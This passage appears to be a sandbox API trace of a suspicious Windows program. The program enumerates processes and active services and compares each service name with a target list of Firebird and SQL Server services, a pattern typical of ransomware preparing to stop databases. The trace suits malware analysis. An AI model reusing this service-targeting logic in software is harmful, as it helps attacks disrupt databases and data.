[0058.604] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0058.605] lstrlenW (lpString="mode.com") returned 8 [0058.605] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0058.606] CloseHandle (hObject=0x318) returned 1 [0058.606] Sleep (dwMilliseconds=0x1f4) [0059.122] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6cedb8 [0059.122] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0059.123] GetLastError () returned 0xea [0059.123] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ce8) returned 0x6f6108 [0059.123] EnumServicesStatusExW (in: hSCManager=0x6cedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1ce8, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0059.124] CloseServiceHandle (hSCObject=0x6cedb8) returned 1 [0059.124] lstrlenW (lpString="Appinfo") returned 7 [0059.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.124] lstrlenW (lpString="AppXSvc") returned 7 [0059.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0059.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0059.124] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0059.124] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0059.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0059.124] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.124] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.124] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.124] lstrlenW (lpString="Audiosrv") returned 8 [0059.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0059.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0059.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0059.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0059.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0059.125] lstrlenW (lpString="BFE") returned 3 [0059.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.125] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.125] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.125] lstrlenW (lpString="BITS") returned 4 [0059.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0059.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0059.125] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0059.125] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0059.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0059.125] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0059.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0059.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0059.125] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0059.125] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0059.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0059.125] lstrlenW (lpString="CDPSvc") returned 6 [0059.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0059.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0059.125] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0059.125] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0059.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0059.125] lstrlenW (lpString="ClickToRunSvc") returned 13 [0059.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0059.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0059.125] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0059.125] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0059.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0059.125] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0059.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0059.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0059.126] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0059.126] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0059.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0059.126] lstrlenW (lpString="CryptSvc") returned 8 [0059.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.126] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.126] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.126] lstrlenW (lpString="DcomLaunch") returned 10 [0059.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.126] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.126] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.126] lstrlenW (lpString="DeviceAssociationService") returned 24 [0059.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0059.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0059.126] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0059.126] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0059.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0059.126] lstrlenW (lpString="Dhcp") returned 4 [0059.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.126] lstrlenW (lpString="Dnscache") returned 8 [0059.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.126] lstrlenW (lpString="DoSvc") returned 5 [0059.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0059.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0059.127] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0059.127] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0059.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0059.127] lstrlenW (lpString="DPS") returned 3 [0059.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.127] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.127] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.127] lstrlenW (lpString="DusmSvc") returned 7 [0059.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0059.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0059.127] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0059.127] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0059.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0059.127] lstrlenW (lpString="EventLog") returned 8 [0059.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0059.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0059.127] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0059.127] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0059.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0059.127] lstrlenW (lpString="EventSystem") returned 11 [0059.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.127] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.127] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.127] lstrlenW (lpString="FontCache") returned 9 [0059.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0059.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0059.127] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0059.127] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0059.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0059.127] lstrlenW (lpString="gpsvc") returned 5 [0059.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.128] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.128] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.128] lstrlenW (lpString="iphlpsvc") returned 8 [0059.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.128] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.128] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.128] lstrlenW (lpString="KeyIso") returned 6 [0059.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0059.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0059.128] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0059.128] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0059.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0059.128] lstrlenW (lpString="LanmanServer") returned 12 [0059.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.128] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.128] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.128] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.128] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.128] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.128] lstrlenW (lpString="lfsvc") returned 5 [0059.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0059.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0059.128] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0059.128] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0059.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0059.129] lstrlenW (lpString="lmhosts") returned 7 [0059.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.129] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.129] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.129] lstrlenW (lpString="LSM") returned 3 [0059.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0059.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0059.129] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0059.129] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0059.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0059.129] lstrlenW (lpString="MpsSvc") returned 6 [0059.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.129] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.129] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.129] lstrlenW (lpString="NcbService") returned 10 [0059.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0059.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0059.129] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0059.129] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0059.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0059.129] lstrlenW (lpString="netprofm") returned 8 [0059.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.129] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.129] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.129] lstrlenW (lpString="NlaSvc") returned 6 [0059.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.129] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.129] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.130] lstrlenW (lpString="nsi") returned 3 [0059.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.130] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.130] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.130] lstrlenW (lpString="PcaSvc") returned 6 [0059.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.130] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.130] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.130] lstrlenW (lpString="PlugPlay") returned 8 [0059.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.130] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.130] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.130] lstrlenW (lpString="Power") returned 5 [0059.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.130] lstrlenW (lpString="ProfSvc") returned 7 [0059.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.130] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.130] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.130] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.130] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.131] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.131] lstrlenW (lpString="RpcSs") returned 5 [0059.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.131] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.131] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.131] lstrlenW (lpString="SamSs") returned 5 [0059.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.131] lstrlenW (lpString="Schedule") returned 8 [0059.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.131] lstrlenW (lpString="SecurityHealthService") returned 21 [0059.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0059.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0059.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0059.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0059.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0059.131] lstrlenW (lpString="SENS") returned 4 [0059.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.131] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.132] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.132] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.132] lstrlenW (lpString="Spooler") returned 7 [0059.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.132] lstrlenW (lpString="SSDPSRV") returned 7 [0059.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0059.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0059.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0059.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0059.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0059.132] lstrlenW (lpString="StateRepository") returned 15 [0059.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0059.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0059.132] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0059.132] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0059.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0059.132] lstrlenW (lpString="SysMain") returned 7 [0059.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.132] lstrlenW (lpString="SystemEventsBroker") returned 18 [0059.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0059.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0059.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0059.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0059.133] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0059.133] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c [0059.191] Process32FirstW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.191] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.192] lstrlenW (lpString="System") returned 6 [0059.192] Process32NextW (in: hSnapshot=0x32c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, 